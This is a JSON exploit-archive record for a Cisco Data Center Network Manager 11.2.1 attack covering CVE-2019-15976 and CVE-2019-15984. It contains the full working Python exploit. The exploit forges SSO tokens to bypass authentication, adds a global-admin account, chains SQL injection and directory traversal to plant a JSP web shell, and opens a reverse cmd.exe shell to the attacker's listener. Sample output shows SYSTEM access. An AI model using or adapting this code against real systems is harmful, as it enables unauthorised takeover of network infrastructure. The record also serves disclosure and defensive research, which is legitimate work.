{"exploit":{"id":"EDB-48019","name":"Cisco Data Center Network Manager 11.2.1 - Authentication Bypass / 'getVmHostData' SQL Injection (SQLi) / Directory Traversal / Remote Code Execution (RCE)","description":"Cisco Data Center Network Manager 11.2.1 - Authentication Bypass / 'getVmHostData' SQL Injection (SQLi) / Directory Traversal / Remote Code Execution (RCE)","cves":["CVE-2019-15984","CVE-2019-15976"],"author":"mr_me","published":"2020-02-06","platform":"java","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48019","path":"exploits/java/webapps/48019.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48019.py","vulnerabilities":[{"id":"CVE-2019-15984","state":"PUBLISHED","title":"Cisco Data Center Network Manager SQL Injection Vulnerabilities","titleSource":"CVE Program","description":"Multiple vulnerabilities in the REST and SOAP API endpoints of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker to execute arbitrary SQL commands on an affected device. To exploit these vulnerabilities, an attacker would need administrative privileges on the DCNM application. For more information about these vulnerabilities, see the Details section of this advisory. Note: The severity of these vulnerabilities is aggravated by the vulnerabilities described in the Cisco Data Center Network Manager Authentication Bypass Vulnerabilities advisory, published simultaneously with this one.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-15984","cvss":{"version":"3.0","baseScore":7.2,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","source":"cisco","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-15984"},"updatedAt":"2024-11-15T17:52:02.264Z","retrievedAt":"2026-11-26T06:16:45.138Z","stale":false,"error":null},{"id":"CVE-2019-15976","state":"PUBLISHED","title":"Cisco Data Center Network Manager Authentication Bypass Vulnerabilities","titleSource":"CVE Program","description":"Multiple vulnerabilities in the authentication mechanisms of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to bypass authentication and execute arbitrary actions with administrative privileges on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-15976","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"cisco","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-15976"},"updatedAt":"2024-11-15T17:53:04.673Z","retrievedAt":"2026-11-26T06:16:45.135Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48019.png?v=2","url":"https://exploitbin.com/exploits/EDB-48019","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48019/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48019/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n\"\"\"\nCisco Data Center Network Manager HostEnclHandler getVmHostData SQL Injection Remote Code Execution Vulnerability\n\nTested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)\n- Release: 11.2(1)\n- Release Date: 18-Jun-2019\n- FileName: dcnm-installer-x64-windows.11.2.1.exe.zip\n- Size: 1619.36 MB (1698022100 bytes)\n- MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5\n\nBug 1: CVE-2019-15976 / ZDI-20-008\nBug 2: CVE-2019-15984 / ZDI-20-060\n\nExample:\n========\n\nsaturn:~ mr_me$ ./poc.py\n(+) usage: ./poc.py <target> <connectback>\n(+) eg: ./poc.py 192.168.100.122 192.168.100.59:1337\n\nsaturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.59:1337\n(+) created the account hacker:Hacked123\n(+) created the 1337/custom path!\n(+) leaked vfs! temp230cf31722794196/content-ed98b5003b1c695c\n(+) SQL Injection working!\n(+) wrote the si.jsp shell!\n(+) cleaned up the database!\n(+) starting handler on port 1337\n(+) connection from 192.168.100.122\n(+) pop thy shell!\nMicrosoft Windows [Version 6.3.9600]\n(c) 2013 Microsoft Corporation. All rights reserved.\n\nC:\\Program Files\\Cisco Systems\\dcm\\wildfly-10.1.0.Final\\bin\\service>whoami\nwhoami\nnt authority\\system\n\nC:\\Program Files\\Cisco Systems\\dcm\\wildfly-10.1.0.Final\\bin\\service>\n\nClean Up:\n=========\n\n1. delete from xmlDocs where user_name = '1337';\n2. delete si.jsp from the web root\n3. delete the folder and its contents: C:/Program Files/Cisco Systems/dcm/fm/reports/1337\n\"\"\"\n\nimport re\nimport md5\nimport sys\nimport time\nimport socket\nimport base64\nimport requests\nimport telnetlib\nfrom threading import Thread\nfrom xml.etree import ElementTree\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\ndef _get_jsp(cbh, cbp):\n    \"\"\" get me some jsp for a connectback! \"\"\"\n    jsp = \"\"\"\n    <%%@page import=\"java.lang.*\"%%>\n    <%%@page import=\"java.util.*\"%%>\n    <%%@page import=\"java.io.*\"%%>\n    <%%@page import=\"java.net.*\"%%>\n\n    <%%\n      // clean up\n      String[] files = {\n          \"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/si.xml\",\n          \"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/\",\n          \"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/\",\n      };\n      for (String s:files){ File f = new File(s); f.delete(); }\n      File f = new File(application.getRealPath(\"/\" + this.getClass().getSimpleName().replaceFirst(\"_\",\".\")));\n      f.delete();\n      class StreamConnector extends Thread\n      {\n        InputStream we;\n        OutputStream uo;\n\n        StreamConnector( InputStream we, OutputStream uo )\n        {\n          this.we = we;\n          this.uo = uo;\n        }\n\n        public void run()\n        {\n          BufferedReader dy  = null;\n          BufferedWriter zvi = null;\n          try\n          {\n            dy  = new BufferedReader( new InputStreamReader( this.we ) );\n            zvi = new BufferedWriter( new OutputStreamWriter( this.uo ) );\n            char buffer[] = new char[8192];\n            int length;\n            while( ( length = dy.read( buffer, 0, buffer.length ) ) > 0 )\n            {\n              zvi.write( buffer, 0, length );\n              zvi.flush();\n            }\n          } catch( Exception e ){}\n          try\n          {\n            if( dy != null )\n              dy.close();\n            if( zvi != null )\n              zvi.close();\n          } catch( Exception e ){}\n        }\n      }\n\n      try\n      {\n        String ShellPath;\n        ShellPath = new String(\"cmd.exe\");\n        Socket socket = new Socket( \"%s\", %s);\n        Process process = Runtime.getRuntime().exec( ShellPath );\n        ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();\n        ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();\n      } catch( Exception e ) {}\n    %%>\n    \"\"\" % (cbh, cbp)\n    return jsp\n\ndef get_session(target, user, password):\n    \"\"\" we have bypassed auth at this point and created an admin \"\"\"\n    d = {\n        \"j_username\" : user,\n        \"j_password\" : password\n    }\n    uri = \"https://%s/j_spring_security_check\" % target\n    r = requests.post(uri, data=d, verify=False, allow_redirects=False)\n    if \"Set-Cookie\" in r.headers:\n        match = re.search(r\"JSESSIONID=(.{56}).*resttoken=(\\d{1,4}:.{44});\", r.headers[\"Set-Cookie\"])\n        if match:\n            sessionid = match.group(1)\n            resttoken = match.group(2)\n            return { \"JSESSIONID\" : sessionid, \"resttoken\": resttoken}\n    return False\n\ndef craft_soap_header():\n    soap_header  = '\\t<SOAP-ENV:Header xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">'\n    soap_header += '<m:ssoToken xmlns:m=\"http://ep.jaxws.dcbu.cisco.com/\">%s</m:ssoToken>' % gen_ssotoken()\n    soap_header += '\\t</SOAP-ENV:Header>'\n    return soap_header\n\ndef we_can_trigger_folder_path_creation(target):\n    \"\"\" craft the path location and db entry for the traversal \"\"\"\n    soap_body  = '<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ep=\"http://ep.san.jaxws.dcbu.cisco.com/\">'\n    soap_body += craft_soap_header()\n    soap_body += '\\t<soapenv:Body>'\n    soap_body += '\\t\\t<ep:saveReportTemplate>'\n    soap_body += '\\t\\t\\t<reportTemplateName>si</reportTemplateName>'\n    soap_body += '\\t\\t\\t<userName>1337</userName>'\n    soap_body += '\\t\\t\\t<updatedAttrs></updatedAttrs>'\n    soap_body += '\\t\\t\\t<pmInterval>1337</pmInterval>'\n    soap_body += '\\t\\t</ep:saveReportTemplate>'\n    soap_body += '\\t</soapenv:Body>'\n    soap_body += '</soapenv:Envelope>'\n    uri = \"https://%s/ReportWSService/ReportWS\" % target\n    r = requests.post(uri, data=soap_body, verify=False)\n    if r.status_code == 200:\n        return True\n    return False\n\ndef we_can_trigger_second_order_write(target, shellpath):\n    \"\"\" trigger the traversal \"\"\"\n    soap_body  = '<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ep=\"http://ep.san.jaxws.dcbu.cisco.com/\">'\n    soap_body += craft_soap_header()\n    soap_body += '\\t<soapenv:Body>'\n    soap_body += '\\t\\t<ep:openReportTemplate>'\n    soap_body += '\\t\\t\\t<reportTemplateName>%s</reportTemplateName>' % shellpath\n    soap_body += '\\t\\t\\t<userName>1337</userName>'\n    soap_body += '\\t\\t</ep:openReportTemplate>'\n    soap_body += '\\t</soapenv:Body>'\n    soap_body += '</soapenv:Envelope>'\n    uri = \"https://%s/ReportWSService/ReportWS\" % target\n    r = requests.post(uri, data=soap_body, verify=False)\n    if r.status_code == 200:\n        return True\n    return False\n\ndef gen_ssotoken():\n    \"\"\" auth bypass \"\"\"\n    timestamp = 9999999999999  # we live forever\n    username = \"hax\"           # doesnt even need to exist!\n    sessionid = 1337           # doesnt even need to exist!\n    d = \"%s%d%dPOsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\" % (username, sessionid, timestamp)\n    return \"%d.%d.%s.%s\" % (sessionid, timestamp, base64.b64encode(md5.new(d).digest()), username)\n\ndef we_can_trigger_sql_injection(target, sql):\n    \"\"\" stacked sqli primitive \"\"\"\n    sqli = \";%s--\" % sql\n    soap_body  = '<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ep=\"http://ep.san.jaxws.dcbu.cisco.com/\">'\n    soap_body += craft_soap_header()\n    soap_body += '\\t<soapenv:Body>'\n    soap_body += '\\t\\t<ep:getVmHostData>'\n    soap_body += '\\t\\t\\t<arg0>'\n    soap_body += '\\t\\t\\t\\t<sortField>vcluster</sortField>'\n    soap_body += '\\t\\t\\t\\t<sortType>%s</sortType>' % sqli\n    soap_body += '\\t\\t\\t</arg0>'\n    soap_body += '\\t\\t\\t<arg1></arg1>'\n    soap_body += '\\t\\t\\t<arg2></arg2>'\n    soap_body += '\\t\\t\\t<arg3>false</arg3>'\n    soap_body += '\\t\\t</ep:getVmHostData>'\n    soap_body += '\\t</soapenv:Body>'\n    soap_body += '</soapenv:Envelope>'\n    uri = \"https://%s/DbInventoryWSService/DbInventoryWS\" % target\n    r = requests.post(uri, data=soap_body, verify=False)\n    if r.status_code == 200:\n        return True\n    return False\n\ndef we_can_leak_vfs(target):\n    \"\"\" we use a information disclosure for the vfs path \"\"\"\n    global vfs\n    uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target\n    c = requests.auth.HTTPBasicAuth('admin', 'nbv_12345')\n    r = requests.get(uri, verify=False, auth=c)\n    match = re.search(r\"temp\\\\(.{21}content-.{15,16})\", r.text)\n    if match:\n        vfs = str(match.group(1).replace(\"\\\\\",\"/\"))\n        return True\n    return False\n\ndef handler(lp):\n    \"\"\" this is the client handler, to catch the connectback \"\"\"\n    print \"(+) starting handler on port %d\" % lp\n    t = telnetlib.Telnet()\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.bind((\"0.0.0.0\", lp))\n    s.listen(1)\n    conn, addr = s.accept()\n    print  \"(+) connection from %s\" % addr[0]\n    t.sock = conn\n    print \"(+) pop thy shell!\"\n    t.interact()\n\ndef exec_code(t, usr, pwd, cbp):\n    \"\"\" this function threads the client handler and sends off the attacking payload \"\"\"\n    handlerthr = Thread(target=handler, args=(int(cbp),))\n    handlerthr.start()\n    r = requests.get(\"https://%s/si.jsp\" % t, cookies=get_session(t, usr, pwd), verify=False)\n\ndef we_can_add_user(target, usr, pwd):\n    \"\"\" add a user so that we can reach our backdoor! \"\"\"\n    soap_body  = '<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ep=\"http://ep.san.jaxws.dcbu.cisco.com/\">'\n    soap_body += craft_soap_header()\n    soap_body += '\\t<soapenv:Body>'\n    soap_body += '\\t\\t<ep:addUser>'\n    soap_body += '\\t\\t\\t<userName>%s</userName>' % usr\n    soap_body += '\\t\\t\\t<password>%s</password>' % pwd\n    soap_body += '\\t\\t\\t<roleName>global-admin</roleName>'\n    soap_body += '\\t\\t\\t<enablePwdExpiration>false</enablePwdExpiration>'\n    soap_body += '\\t\\t</ep:addUser>'\n    soap_body += '\\t</soapenv:Body>'\n    soap_body += '</soapenv:Envelope>'\n    uri = \"https://%s/DbAdminWSService/DbAdminWS\" % target\n    r = requests.post(uri, data=soap_body, verify=False)\n    tree = ElementTree.fromstring(r.content)\n    for elem in tree.iter():\n        if elem.tag == \"resultMessage\":\n            res = elem.text\n    if res == \"Success\":\n        return True\n    elif res == \"User already exists.\":\n        return True\n    return False\n\ndef main():\n\n    usr = \"hacker\"\n    pwd = \"Hacked123\"\n\n    if len(sys.argv) != 3:\n        print \"(+) usage: %s <target> <connectback>\" % sys.argv[0]\n        print \"(+) eg: %s 192.168.100.122 192.168.100.59:1337\" % sys.argv[0]\n        sys.exit(1)\n\n    t = sys.argv[1]\n    c = sys.argv[2]\n\n    cbh = c.split(\":\")[0]\n    cbp = c.split(\":\")[1]\n    sc = _get_jsp(cbh, cbp).encode(\"hex\")\n\n    # stage 1 - add a user\n    if we_can_add_user(t, usr, pwd):\n        print \"(+) created the account %s:%s\" % (usr, pwd)\n\n        # stage 2 - trigger folder creation and db entry\n        if we_can_trigger_folder_path_creation(t):\n            print \"(+) created the 1337/custom path!\"\n\n            # stage 3 - leak the vfs path (not really required I suppose)\n            if we_can_leak_vfs(t):\n                print \"(+) leaked vfs! %s\" % vfs\n\n                # stage 4 - trigger the sql injection to update our template entry\n                sp = \"../../../../wildfly-10.1.0.Final/standalone/tmp/vfs/temp/%s/si.jsp\" % vfs\n                sql = \"update xmldocs set document_name='%s',content=decode('%s','hex') where user_name='1337';\" % (sp, sc)\n                if we_can_trigger_sql_injection(t, sql):\n                    print \"(+) SQL Injection working!\"\n\n                    # stage 5 - trigger the shell write\n                    if we_can_trigger_second_order_write(t, sp):\n                        print \"(+) wrote the si.jsp shell!\"\n\n                        # stage 6 - cleanup\n                        sql = \"delete from xmldocs where user_name='1337';\"\n                        if we_can_trigger_sql_injection(t, sql):\n                            print \"(+) cleaned up the database!\"\n\n                        # stage 7 - go get some rce\n                        exec_code(t, usr, pwd, cbp)\n\nif __name__ == \"__main__\":\n    main()","sha256":"f8bb418204e25c5499d5bd8c4ace74f5e0234d77fdf9f595fd65751ebd355f5e","bytes":12103,"fetchedAt":"2026-11-26T21:11:29.401Z","encoding":"utf-8 (display only; download retains original bytes)"}